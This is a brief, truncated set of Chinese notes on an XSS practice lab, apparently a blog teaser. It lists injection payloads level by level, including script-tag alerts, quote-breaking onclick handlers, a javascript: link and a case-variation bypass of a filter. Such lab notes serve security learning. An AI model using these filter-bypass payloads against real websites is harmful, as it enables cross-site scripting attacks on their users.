xss靶場筆記

1.構造xss直接過 ： 2."><script>alert(1)</script>發現對 html 特殊符號進行了實體編碼： 3.1' onclick=alert(1)//鼠標經過觸發 ： 4. 1' onclick=alert(1)//鼠標經過觸發： 5. "><a href=javascript:alert(/xss/)>xss</a>： 6. 大小寫繞過"><a Href=javascri

>>阅读原文<<